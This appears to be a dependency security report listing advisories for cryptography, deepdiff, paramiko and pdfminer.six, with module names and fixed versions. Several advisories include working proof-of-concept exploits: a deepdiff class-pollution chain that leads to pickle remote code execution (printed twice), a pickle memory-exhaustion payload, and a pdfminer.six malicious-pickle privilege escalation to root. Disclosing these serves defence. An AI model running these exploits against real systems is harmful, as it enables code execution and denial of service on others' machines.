Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| PYSEC-2023-11 | 39.0.1 | connector_jira |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | connector_jira |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | connector_jira |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| GHSA-6vqw-3v5j-54x4 | 42.0.4 | connector_jira |
Show detailsIf `pkcs12.serialize_key_and_certificates` is called with both:
1. A certificate whose public key did not match the provided private key
2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`
Then a NULL pointer dereference would occur, crashing the Python process.
This has been resolved, and now a `ValueError` is properly raised.
Patched in https://github.com/pyca/cryptography/pull/10423
|
| PYSEC-2024-225 | 42.0.4 | connector_jira |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | connector_jira |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | connector_jira |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | connector_jira |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| GHSA-h4gh-qq45-vh27 | 43.0.1 | connector_jira |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 37.0.0-43.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20240903.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2023-254 | 41.0.6 | connector_jira |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| deepdiff<8 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| PYSEC-2026-327 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| GHSA-54jj-px8x-5w5q | 8.6.2 | l10n_es_aeat_sii_match |
Show details### Summary
The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.
### Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
**1 - During `pickle_load`**
A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.
```
GLOBAL builtins.bytes (passes find_class check — serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB
```
**2 - During delta application**
A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.
### PoC
The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.
```python
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
```
Output:
```
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB
```
### Impact
Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
|
| GHSA-mw26-5g2v-hqw3 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| paramiko<4.0.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r374-rxx8-8654 | auto_backup |
Show detailsIn Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
|
|
| pdfminer.six==20220319 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-f83h-ghpp-7wcc | 20251230 | l10n_mx_res_partner_csf |
Show details### 🚀 Overview
This report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

## 🚨 Special Note
This advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).
While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.
Based on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.
This demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```
## 📚 Table of Contents
- [🔍 Background](#-background)
- [🐍 Vulnerability Description](#-vulnerability-description)
- [🎭 Demo Scenario](#-demo-scenario)
- [🧨 Technical Details](#-technical-details)
- [🔧 Setup and Usage](#-setup-and-usage)
- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)
- [🛡️ Security Standards & References](#-security-standards--references)
---
## 🔍 Background
**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.
> 🐍 **Security Issue:**
> If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.
---
### 🐍 Vulnerability Description
- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)
- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.
- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.
- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

### 🎭 Demo Scenario
**Environment:**
- 🐧 Alpine Linux (Docker container)
- 👨💻 Two users:
- `user1` (attacker: low-privilege)
- `root` (victim: runs privileged PDF-processing script)
- 🗂️ Shared writable directory: `/tmp/uploads`
- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script
- 📦 pdfminer.six installed system-wide
**Attack Flow:**
1. 🕵️♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.
2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap("Evil")`.
3. 💣 The malicious pickle is deserialized, running arbitrary code as root.
4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.

### 🧨 Technical Details
- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`
- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`
- **Vulnerable Line:**
```python
return type(str(name), (), pickle.loads(gzfile.read()))
```
*In `pdfminer/cmapdb.py`'s `_load_data` method*
- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`
**Exploit Chain:**
- Attacker places a malicious `.pickle.gz` file in the CMap search path.
- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
- Arbitrary code executes with the privilege of the process (root/service account).

## 🔧 Setup and Usage
### 📁 Files
#### </> Dockerfile
```yml
FROM python:3.11-alpine
ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086
# Install git and build tooling
RUN apk add --no-cache git build-base
WORKDIR /opt
# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
cd pdfminer.six && \
git fetch --all && \
git checkout ${PM_COMMIT} && \
pip install --no-cache-dir -e .
# App working directory for PoC
WORKDIR /app
# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
mkdir -p /tmp/uploads && \
chown user1:user1 /tmp/uploads && \
chmod 1777 /tmp/uploads
# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py
ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1
# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]
```
#### </> evilmod.py
```python
import os
def evilFunc():
with open("/root/pwnedByPdfminer", "w") as f:
f.write("ROOTED by pdfminer pickle RCE\n")
return {"CODE2CID": {}, "IS_VERTICAL": False}
```
#### </> createEvilPickle.py
```python
import pickle
import gzip
from evilmod import evilFunc
class Evil:
def __reduce__(self):
return (evilFunc, ())
payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
f.write(payload)
print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")
```
#### </> processPDF.py
```python
import os
from pdfminer.cmapdb import CMapDB
os.environ["CMAP_PATH"] = "/tmp/uploads"
CMapDB.get_cmap("Evil")
print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")
```

### 1️⃣ Build and start the demo container
```bash
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ
```
### 2️⃣ In the container, open two shells in parallel (or switch users in one):
#### 🕵️♂️ Shell 1 (Attacker: user1)
```bash
su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1
```
#### 👑 Shell 2 (Victim: root)
```bash
cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created
```
### 3️⃣ Proof of escalation
```bash
cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE
```
<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />

## 📝 Step-by-step Walkthrough
1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.
2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.
3. The exploit triggers, running arbitrary code as root.
4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

## 🛡️ Security Standards & References
- **CVSS (Common Vulnerability Scoring System):**
- **Base Score:** 7.8 (High)
- **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
- **OWASP Top 10:**
- [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)
- [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)
- **MITRE CWE References:**
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- **MITRE ATT&CK Techniques:**
- [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)
- [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)
|
| GHSA-wf5f-4jwr-ppcp | 20251107 | l10n_mx_res_partner_csf |
Show details### Summary
